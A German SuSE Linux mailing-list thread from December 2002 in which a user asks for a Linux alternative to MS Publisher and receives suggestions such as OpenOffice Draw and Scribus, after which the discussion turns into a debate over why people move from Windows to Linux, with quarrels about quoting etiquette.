Hallo Lister, gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? Ensprechende Recherchen meinerseits waren bisher erfolglos, darum danke für jede Hilfe. Klaus -- Registered Linux User #285292 http://counter.li.org
Klaus Ponnath schrieb:
Hallo Lister, gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? Ensprechende Recherchen meinerseits waren bisher erfolglos, darum danke für jede Hilfe.
Schon mal - OpenOffice.org Draw - Kivio - Sodipodi - Xfig - Kontour - tgif - Sketch - ImPress ausprobiert? http://home.aventa.de/pb/software/paint.htm Gruß, Roman --
<> http://www.jesus.de || http://www.thehope.de <><
Am Sonntag, 1. Dezember 2002 11:34 schrieb Roman Langolf:
Klaus Ponnath schrieb:
Hallo Lister, gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? Ensprechende Recherchen meinerseits waren bisher erfolglos, darum danke für jede Hilfe.
Schon mal
- OpenOffice.org Draw - Kivio - Sodipodi - Xfig - Kontour - tgif - Sketch - ImPress
ausprobiert?
Scribus sieht auch schon gut aus! Gruss Reinhard -- Reinhard Quast /"\ fon:+49 (0)5522 72342 \ / ASCII Ribbon Campaign fax: 01212510711848 X Against HTML Mail Mobile: 015112715631 / \ Reg.Linux User 283685*****powered by SuSE 8.1******
Reinhard Quast schrieb:
Am Sonntag, 1. Dezember 2002 11:34 schrieb Roman Langolf:
Klaus Ponnath schrieb:
Hallo Lister, gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? Ensprechende Recherchen meinerseits waren bisher erfolglos, darum danke für jede Hilfe.
Schon mal
- OpenOffice.org Draw - Kivio - Sodipodi - Xfig - Kontour - tgif - Sketch - ImPress
ausprobiert?
Hallo,
Scribus sieht auch schon gut aus!
ja stimmt. hab's nur vergessen... roman -- Nutzen Sie auch das SAP (= Sanduhr Anzeige Programm)? Oder machen Sie vieles auch mit IBM (= Immer Besser Manuell)? (Aus PC Magazin)
*** Klaus Ponnath (klaus@ponnath.org) schrieb in suse-linux heute:
[...] gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? [...]
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux? Wenn Du gefragt hättest, ob es ein Programm gibt, "wo man Karten u.ä. machen kann" ohne mehr als nötig selbst Hand anlegen zu müssen, hätte man Dich auf TeX o.ä. verweisen können, dass Dir sowas dann durch ent- sprechende Parameter gesteuert auswirft, nachdem Du _einmal_ Mühe in die Entwicklung gesteckt hast. Dann hätte ich auch verstanden, warum Du zu Linux gewechselt bist. Aber so mußt Du es mir erklären. MG Henning Hucke -- "Ich weiß nicht mit welchen Waffen sich die Menschen im 3. Weltkrieg bekaempfen, aber im 4. werden es Keulen sein." (Albert Einstein)
Am Sonntag, 1. Dezember 2002 13:39 schrieb Henning Hucke:
*** Klaus Ponnath (klaus@ponnath.org) schrieb in suse-linux heute:
[...] gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? [...]
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Wenn Du gefragt hättest, ob es ein Programm gibt, "wo man Karten u.ä. machen kann" ohne mehr als nötig selbst Hand anlegen zu müssen, hätte man Dich auf TeX o.ä. verweisen können, dass Dir sowas dann durch ent- sprechende Parameter gesteuert auswirft, nachdem Du _einmal_ Mühe in die Entwicklung gesteckt hast. Dann hätte ich auch verstanden, warum Du zu Linux gewechselt bist. Aber so mußt Du es mir erklären.
ACK Ich hatte (war noch win95) auch man den Publisher probiert (war so ne "Sicherungskopie") und ich war davon voll enttäuscht das dingens ist Voll Sch*, für meine begriffe absolut unbrauchbar. Grußkarten, Speisenkarten, Plakate, Platzkarten das mache ich alles im moment noch unter Staroffice5.2 (aber ich migriere schon so langsam zu OpenOffice) <Sarkassmus> Und ich denke was er gemeint hatte war : der Piblisher kost halt doch n Schweinegeld, ist von M$ und jederwo einmal im Jahr für Schwiegermammis Geburtstag eine Grußkarte macht, der benötigt eben etwas wo man zusammenklicken kann. Das muss dann schon von deutlich an M$ angelehnt sein sonst müsste man ja wirklich noch Geld für des M$ Betriebssystem ausgeben </sarkassmus> MFG Thilo -- http://www.gasthof-linde.de http://www.chef-de-cuisine.de
Hallo Thilo,
gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? [...]
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Wir sollten über jeden froh sein, der von MS zu Linux wechselt, denn nur so verliert MS seine marktbeherschende Stellung. Ich kann auch nicht verstehen, daß Du Thilo so einen Sch....... schreibst wie in dem Absatz oben. Nicht jeder der zu Linux wechselt ist Programierer oder beherrscht Englisch. Ich meine es sollte Aufgabe der Lister sein alle Linuxer zu unterstützen, nur so bleiben sie bei Linux. Es haben mir jedoch auch welche von Euch geholfen und ich konnte ein Teil der Antworten positiv verwerten. danke Euch.... Klaus
Wenn Du gefragt hättest, ob es ein Programm gibt, "wo man Karten u.ä. machen kann" ohne mehr als nötig selbst Hand anlegen zu müssen, hätte man Dich auf TeX o.ä. verweisen können, dass Dir sowas dann durch ent- sprechende Parameter gesteuert auswirft, nachdem Du _einmal_ Mühe in die Entwicklung gesteckt hast. Dann hätte ich auch verstanden, warum Du zu Linux gewechselt bist. Aber so mußt Du es mir erklären.
ACK Ich hatte (war noch win95) auch man den Publisher probiert (war so ne "Sicherungskopie") und ich war davon voll enttäuscht das dingens ist Voll Sch*, für meine begriffe absolut unbrauchbar.
Grußkarten, Speisenkarten, Plakate, Platzkarten das mache ich alles im moment noch unter Staroffice5.2 (aber ich migriere schon so langsam zu OpenOffice)
<Sarkassmus> Und ich denke was er gemeint hatte war : der Piblisher kost halt doch n Schweinegeld, ist von M$ und jederwo einmal im Jahr für Schwiegermammis Geburtstag eine Grußkarte macht, der benötigt eben etwas wo man zusammenklicken kann. Das muss dann schon von deutlich an M$ angelehnt sein sonst müsste man ja wirklich noch Geld für des M$ Betriebssystem ausgeben </sarkassmus>
MFG Thilo
-- Registered Linux User #285292 http://counter.li.org
Am Sonntag, 1. Dezember 2002 18:47 schrieb Klaus Ponnath: Ähh hab ich jetzt den Zug Verpasst?irgendwie will ich jetzt nicht glauben dass der komplette Thread hier ausschliesslich von mir ist!
Hallo Thilo,
gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? [...]
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Wir sollten über jeden froh sein, der von MS zu Linux wechselt,
denn nur so verliert MS seine marktbeherschende Stellung. Ich kann auch nicht verstehen, daß Du Thilo so einen Sch....... schreibst wie in dem Absatz oben. Nicht jeder der zu Linux wechselt ist Programierer oder beherrscht Englisch. Ich meine es sollte Aufgabe der Lister sein alle Linuxer zu unterstützen, nur so bleiben sie bei Linux. Es haben mir jedoch auch welche von Euch geholfen und ich konnte ein Teil der Antworten positiv verwerten. danke Euch.... Klaus
Und währe jetzt dass Quoting noch an der Stelle wo es hiengehört und du nochmal genau erwähnen würdest was ich für einen Scheiß geschrieben haben solle, dann können wir auch mal darüber reden/schreiben Thilo ist Programmierer? Nein Thilo ist Koch! Thilo kann gut englisch? Nein Thilo tut sich verdammt schwer mit Englisch lesen! Und Trotz dessen dass Du (wohl weil der Thread zerrissen ist) etwas missverstanden hast werde ich Puplisher nicht mehr anrühren, ich bleibe bei StarOffice/OpenOffice Ich wünsche Dir Trotzdem noch n guten Appetit, Lass es Dir schmecken MFG Thilo -- http://www.gasthof-linde.de http://www.chef-de-cuisine.de
* Klaus Ponnath schrieb am 01.Dez.2002:
Hallo Thilo,
gibt es unter Linux eigentlich auch ein Programm wie der Publisher unter MS, wo man Karten u.ä. machen kann , vielleicht sogar in dtsch?? [...]
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Wir sollten über jeden froh sein, der von MS zu Linux wechselt, denn nur so verliert MS seine marktbeherschende Stellung. Ich kann auch nicht verstehen, daß Du Thilo so einen Sch....... schreibst wie in dem Absatz oben. Nicht jeder der zu Linux wechselt
Wenn ich das richtig verstanden habe, hat Thilo oben gar nichst geschrieben. Leider hast Du keine Atributzeile dabei, so daß ich nicht nachvollziehen kann, wer was geschrieben hat. Bernd -- Was ist quoten? Quoten ist das Zitieren aus einer mail, der man antwortet. Und wie macht man es richtig? Zitate werden mit "> " gekennzeichnet. Nicht mehr als nötig zitieren. Vor den Abschnitten das Zitat, auf das man sich bezieht, mit einer Zeile Abstand oben und unten. |Zufallssignatur 12
Hallo Henning Hucke,
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
ich kann da nur fuer mich sprechen, aber vielleicht klaert das trotzdem schon Einiges auf. :-) Im Alltag verstehe ich mich in erster Linie als Anwender eines Betriebssystems und der installierten Software und Hardware. Darueber hinaus bin ich aber auch ein interessierter Laie. :-) D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-) Unter Windows habe ich immer schon fuer bestimmte Aufgaben (Grafik, E-Mail, Browsen etc.) verschiedene Programme getestet und dann am Ende das fuer mich passende Programm ausgewaehlt. Und irgendwann habe ich das dann auch mit dem Betriebssystem selbst gemacht... :-) Ich habe mir letztes Jahr einfach einmal SuSE Linux 7.3 gekauft, subjektiv getestet und fuer mich mit Windows 2000 verglichen. Letztes Jahr hatte ich mit SuSE Linux noch so meine zwar weitgehend selbstverschuldeten, aber eben abschreckenden Anfaenger-Probleme und bin zunaechst bei Windows geblieben. Aber ich habe die Entwicklung von Linux immer weiterverfolgt und habe mir mittlerweile SuSE Linux 8.0 und zum Vergleich auch Mandrake Linux 9.0 gekauft. Beide Linux-Distributionen haben mich sehr beeindruckt und wirklich ueberzeugt, so dass ich mittlerweile weitgehend auf Linux umgestiegen bin. Windows nutze ich nur noch, wo es unverzichtbar ist, z.B. wenn ich gucken muss, wie eine programmierte HTML-Seite, Javascripte etc. sich im Internet Explorer verhalten, der nun einmal den Browsermarkt dominiert. Am Liebsten wuerde ich aber Windows komplett von meiner Festplatte verbannen und Linux den gesamten Speicherplatz spendieren. ;-) Was hat mich zum Umstieg bewegt? An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will: - Ich werde bei der Installation total bevormundet. - Ab Windows XP muss ich mich zwangsregistrieren lassen. - Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr. Usw. Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber das Internet ohne meine Zustimmung verschickt werden. Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-) Es gibt auch noch eine ganze Reihe anderer praktischer Dinge, die Linux fuer mich positiv von Windows abheben, z.B. die konsequente Umsetzung der Multi-User-Idee, die Buendelung der persoenlichen Konfigurationen und Daten im home-Verzeichnis, die Systemstabilitaet, insbesondere auch bei Programmabstuerzen usw. Dass sich hier und da der KDE-Crash-Manager meldet oder es Probleme bei Installationen oder diesem und jenem gibt, stoert mich dabei nicht. Es faellt einem als Umsteiger von Windows zwar auf, wenn bei Linux etwas nicht funktioniert, aber Windows ist da keinesfalls und ueberhaupt nicht besser. Bei Windows hat man sich nur daran gewoehnt. ;-) Fazit: Als Anwender bin ich mit Linux sehr gluecklich und als interessierter Laie finde ich es sehr spannend, Stueck fuer Stueck mehr ueber Linux zu lernen. Deswegen bin ich auch auf dieser Liste. :-) Mein Weg ist dabei, erst einmal die Benutzeroberflaechen zu verwenden und sich mit den Dingen auf diese Weise vertraut zu machen, um mich dann nach und nach problembezogen auf die Konsole vorzuarbeiten und auch manuell an dem einen oder anderen Skript zu schrauben. Bisher bin ich dabei - auch wenn es Tage gedauert hat - immer mit Googlen ans Ziel gekommen und habe dabei immer sehr viel gelernt. :-) Ueber DSL, Dateisysteme, Partitionierung, Firewalls usw. Vieles habe ich dabei auch nicht verstanden, aber ich denke, dass wird mit der Zeit. ;-) Was mir abschliessend noch anzumerken wichtig ist: Selbstverstaendlich bin ich gerne bereit, fuer Linux auch zu bezahlen. Ich gehoere nicht zu denen, die Linux nutzen, weil es kostenlos ist. Deswegen kaufe ich mir die Distributionen, die ich benutzen moechte, und lade sie mir nicht aus dem Internet herunter oder leihe sie mir bei Freunden aus. :-) Viele Gruesse Lutz
Am Sonntag, 1. Dezember 2002 17:02 schrieb Lutz Zetzsche:
Hallo Henning Hucke,
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
ich kann da nur fuer mich sprechen, aber vielleicht klaert das trotzdem schon Einiges auf. :-)
Im Alltag verstehe ich mich in erster Linie als Anwender eines Betriebssystems und der installierten Software und Hardware. Darueber hinaus bin ich aber auch ein interessierter Laie. :-) D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-)
Unter Windows habe ich immer schon fuer bestimmte Aufgaben (Grafik, E-Mail, Browsen etc.) verschiedene Programme getestet und dann am Ende das fuer mich passende Programm ausgewaehlt. Und irgendwann habe ich das dann auch mit dem Betriebssystem selbst gemacht... :-) Ich habe mir letztes Jahr einfach einmal SuSE Linux 7.3 gekauft, subjektiv getestet und fuer mich mit Windows 2000 verglichen.
Letztes Jahr hatte ich mit SuSE Linux noch so meine zwar weitgehend selbstverschuldeten, aber eben abschreckenden Anfaenger-Probleme und bin zunaechst bei Windows geblieben. Aber ich habe die Entwicklung von Linux immer weiterverfolgt und habe mir mittlerweile SuSE Linux 8.0 und zum Vergleich auch Mandrake Linux 9.0 gekauft. Beide Linux-Distributionen haben mich sehr beeindruckt und wirklich ueberzeugt, so dass ich mittlerweile weitgehend auf Linux umgestiegen bin. Windows nutze ich nur noch, wo es unverzichtbar ist, z.B. wenn ich gucken muss, wie eine programmierte HTML-Seite, Javascripte etc. sich im Internet Explorer verhalten, der nun einmal den Browsermarkt dominiert. Am Liebsten wuerde ich aber Windows komplett von meiner Festplatte verbannen und Linux den gesamten Speicherplatz spendieren. ;-)
Was hat mich zum Umstieg bewegt?
An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will:
- Ich werde bei der Installation total bevormundet. - Ab Windows XP muss ich mich zwangsregistrieren lassen. - Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr.
Usw.
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber das Internet ohne meine Zustimmung verschickt werden. Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-)
Es gibt auch noch eine ganze Reihe anderer praktischer Dinge, die Linux fuer mich positiv von Windows abheben, z.B. die konsequente Umsetzung der Multi-User-Idee, die Buendelung der persoenlichen Konfigurationen und Daten im home-Verzeichnis, die Systemstabilitaet, insbesondere auch bei Programmabstuerzen usw.
Dass sich hier und da der KDE-Crash-Manager meldet oder es Probleme bei Installationen oder diesem und jenem gibt, stoert mich dabei nicht. Es faellt einem als Umsteiger von Windows zwar auf, wenn bei Linux etwas nicht funktioniert, aber Windows ist da keinesfalls und ueberhaupt nicht besser. Bei Windows hat man sich nur daran gewoehnt. ;-)
Fazit: Als Anwender bin ich mit Linux sehr gluecklich und als interessierter Laie finde ich es sehr spannend, Stueck fuer Stueck mehr ueber Linux zu lernen. Deswegen bin ich auch auf dieser Liste. :-) Mein Weg ist dabei, erst einmal die Benutzeroberflaechen zu verwenden und sich mit den Dingen auf diese Weise vertraut zu machen, um mich dann nach und nach problembezogen auf die Konsole vorzuarbeiten und auch manuell an dem einen oder anderen Skript zu schrauben. Bisher bin ich dabei - auch wenn es Tage gedauert hat - immer mit Googlen ans Ziel gekommen und habe dabei immer sehr viel gelernt. :-) Ueber DSL, Dateisysteme, Partitionierung, Firewalls usw. Vieles habe ich dabei auch nicht verstanden, aber ich denke, dass wird mit der Zeit. ;-)
Was mir abschliessend noch anzumerken wichtig ist: Selbstverstaendlich bin ich gerne bereit, fuer Linux auch zu bezahlen. Ich gehoere nicht zu denen, die Linux nutzen, weil es kostenlos ist. Deswegen kaufe ich mir die Distributionen, die ich benutzen moechte, und lade sie mir nicht aus dem Internet herunter oder leihe sie mir bei Freunden aus. :-)
Viele Gruesse
Lutz
*Applaus* (ernsthaft) Ich glaube, du hast genau das beschrieben, ws die meisten Fragenden hier in der Liste genauso oder so ähnlich für sich ganz persönlich durchmach(t)en. Ich für mich persönlich habe in manchen Bereichen der täglichen Arbeit immer noch Windows im Einsatz, weil ich _für_ _mich_ einfach keine brauchbare Alternative unter Linux sehe. Gut, das meiste könnte ich unter einem Windows-Emulator laufen lassen, aber wenn ich eh einen zweiten Rechner laufen habe, kann ich dafür dann auch Windows booten. Bei einigen Programmen ist es vielleicht auch nur ein gewisser Grad an Bequemlichkeit (ich hab halt z.B. keine Lust, meine ganze Buchhaltung auf ein neues System umzustellen *g*). Trotzdem mache ich mehr und mehr unter Linux, und das Verhältnis liegt inzwischen vielleicht bei 80 : 20. Die Gründe für den Wechsel sind ähnlich wie bei dir. Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz, Palladium und co.). Und die Chancen steigen mit jedem _ernsthaften_ Linux-User ein wenig mehr. Also will ich auch dazu beitragen und letztendlich auch andere von Linux überzeugen. Dafür möchte man aber auch selbst dahinter stehen, oder? Und das tue ich. -- Gruß MaxX
Hallo
D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-) Es kann viel Fun bereiten, aber auch viel Frust.
Was hat mich zum Umstieg bewegt?
An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will:
- Ich werde bei der Installation total bevormundet. Was es auch auch stabil macht - Ab Windows XP muss ich mich zwangsregistrieren lassen. Das ist sch*e, drum bleibe ich bei 2000 - Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr. Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Usw.
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber
das Internet ohne meine Zustimmung verschickt werden. Stimmt nicht Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-) Tja, bloss wie?
Dass sich hier und da der KDE-Crash-Manager meldet oder es Probleme bei Installationen oder diesem und jenem gibt, stoert mich dabei nicht. Es faellt einem als Umsteiger von Windows zwar auf, wenn bei Linux etwas nicht funktioniert, aber Windows ist da keinesfalls und ueberhaupt nicht besser. Bei Windows hat man sich nur daran gewoehnt. ;-) Wenn du meinst. Ich sage immer: der PC ist genauso dumm wie der der davor sitzt Und das stimmt. Wenn ich dir sagen das mein Windows 2000 stabiler rennt Als mein KDE. Selbst den CrashManager will ich nicht sehen. Und ich frage mich Warum es Leute schaffen, das Windows läuft, läuft und läuft. Nur von den
Linuxern höre ich als argument "Windows schmiert ständig ab". Die Zeiten sind mit NT, 2000 und XP längst vorbei.
Die Gründe für den Wechsel sind ähnlich wie bei dir. Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz, Palladium und co.). Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt (und viele Köche Verderben den Brei). Als Beispiel will ich mal ein Beispiel angeben: Programmieren, Windows 2000 + Linux, von den Programmierern ist wenig oder nur teilweise Dokumentiert. Ich habe zwar die Sorce, aber eineige Dinge sind so verwirend geschrieben das keiner mehr durchblickt. Versucht man den Entwickler zu erreichen, kommt keine Antwort zurück. TJA, open-Source, jeder macht was er will, keiner muss es Dokumentieren. Unter Windows ist alles irgendwie festgehalten, zum Nachlesen. Spreche ich mit ODBC ein Programm an, kann ich mit allen kommunizieren, bei Linux ist das Glückssache. Und die Chancen steigen mit jedem _ernsthaften_ Linux-User ein wenig mehr. Also will ich auch dazu beitragen und letztendlich auch andere von Linux überzeugen. Dafür möchte man aber auch selbst dahinter stehen, oder? Und das tue ich.
Ich in nicht zu Linux gewechselt und werde es auch nicht (da bin ich ganz erlich). Hauptsächlich arbeite ich mit Linux weil es fun macht. Durch das lesen lernt man sehr viele Dinge, generelle dinge, über hardware, über Netze, über Programmieren, usw. Aber letztendlich bleibe ich bei Windows, und Linux ist nur eine Spielwiese mehr oder weniger. Mit freundlichen Grüßen Juergen L.
Juergen schrieb:
Linuxern höre ich als argument "Windows schmiert ständig ab". Die Zeiten sind mit NT, 2000 und XP längst vorbei. ^^ ROTFL!
Gruß, Patrick - der sich vergange Woche mit einer NT 4-Kiste rumärgern durfte, die nach Installation des mitgelieferten Treibers für eine Intel EtherExpress Pro lustige STOP-Bluescreens am laufenden Band erzeugte :-( PS: Dein Ausblick erzeugt häßliches Kammquoting, killt den Vorredner und stellt "AW:" vor das Subject. Stell das bitte ab.
Am Sonntag, 1. Dezember 2002 17:56 schrieb Patrick Hess:
Juergen schrieb:
Linuxern höre ich als argument "Windows schmiert ständig ab". Die Zeiten sind mit NT, 2000 und XP längst vorbei.
^^ ROTFL!
Gruß, Patrick - der sich vergange Woche mit einer NT 4-Kiste rumärgern durfte, die nach Installation des mitgelieferten Treibers für eine Intel EtherExpress Pro lustige STOP-Bluescreens am laufenden Band erzeugte :-(
PS: Dein Ausblick erzeugt häßliches Kammquoting, killt den Vorredner und stellt "AW:" vor das Subject. Stell das bitte ab.
Wiso Patrick er verwendet doch M$ Programme (seine aussage) da wird das was er da auf die Liste loslässt schon stimmen LOL MFG Thilo -- http://www.gasthof-linde.de http://www.chef-de-cuisine.de
*** Juergen (mr-j@mailexpress.de) schrieb in suse-linux heute:
[...]
... schreibt jemand, der exakt die selbe Mail zweimal schickt und dessen Installation keine brauchbaren MsgIDs generiert. Ich denke, in einem solchen Fall kann man nicht davon sprechen, dass man sein System im Griff hat... MG Henning Hucke -- Einer muss den Frieden beginnen, wie den Krieg. -- Stefan Zweig
* Juergen schrieb am 01.Dez.2002: Hier sollte eine Atributzeile stehen, die den Vorredner erwähnt.
D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-)
Es kann viel Fun bereiten, aber auch viel Frust.
Wenn es keine Möglichkeit zum Frust gibt, gibt es auch kein Fun.
An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will:
- Ich werde bei der Installation total bevormundet.
Was es auch auch stabil macht
Dann bezahlt man aber für die Stabilität einen sehr hohen Preis, der in einem professionellen Umfeld nicht zu akzeptabel ist.
- Ab Windows XP muss ich mich zwangsregistrieren lassen.
Das ist sch*e, drum bleibe ich bei 2000
Wie lange?
Wenn du meinst. Ich sage immer: der PC ist genauso dumm wie der der davor sitzt
Ich hoffe doch, daß mein Rechner sehr, sehr viel dümmer ist als ich es bin.
Und das stimmt. Wenn ich dir sagen das mein Windows 2000 stabiler rennt Als mein KDE.
Wer KDE benutzt ist selber Schuld. Bernd -- Was ist quoten? Quoten ist das Zitieren aus einer mail, der man antwortet. Und wie macht man es richtig? Zitate werden mit "> " gekennzeichnet. Nicht mehr als nötig zitieren. Vor den Abschnitten das Zitat, auf das man sich bezieht, mit einer Zeile Abstand oben und unten. |Zufallssignatur 12
Moin,
* Juergen
- Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr. Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Ich habe davon noch nichts gehört. Wenn Du also keine Details kennst, ist es nicht mehr als eine böswillige Unterstellung.
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber das Internet ohne meine Zustimmung verschickt werden. Stimmt nicht
Stimmt doch. Wo stehen wir jetzt?
Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-) Tja, bloss wie?
Wie man es links liegen läßt? In meinem Fall mit cfdisk.
Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz, Palladium und co.). Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt
Auch diese Aussage widerspricht deutlich jeder Erfahrung. Wie wär's auch hier mit ein paar Belegen? Welche wichtigen Projekte werden nicht weiterentwickelt? Wo entstehen Nachteile durch Wechsel der Entwickler?
(und viele Köche Verderben den Brei).
Das genaue Gegenteil ist der Fall, wie man an den vielen erfolgreichen Projekten sehen kann.
Als Beispiel will ich mal ein Beispiel angeben: Programmieren, Windows 2000 + Linux, von den Programmierern ist wenig oder nur teilweise Dokumentiert. Ich habe zwar die Sorce, aber eineige Dinge sind so verwirend geschrieben das keiner mehr durchblickt. Versucht man den Entwickler zu erreichen, kommt keine Antwort zurück. TJA, open-Source, jeder macht was er will, keiner muss es Dokumentieren.
Alles vage Behauptungen. Tatsächlich lassen sich in den meisten Fällen Details sehr einfach ermitteln, entweder aus den Sourcen, aus der Dokumentation, von Listen wie dieser oder direkt vom Entwickler. Auch hier erwarte ich Belege. Tatsächlich ist eine Entwicklung so vieler unterschiedlicher Anwendungen ohne Dokumentation undenkbar.
Unter Windows ist alles irgendwie festgehalten, zum Nachlesen.
Bei Windows gibt es auch das 'API of the Week'. Ich habe mich letzte Woche mit einem Kollegen über MFC unterhalten, er war nicht begeistert.
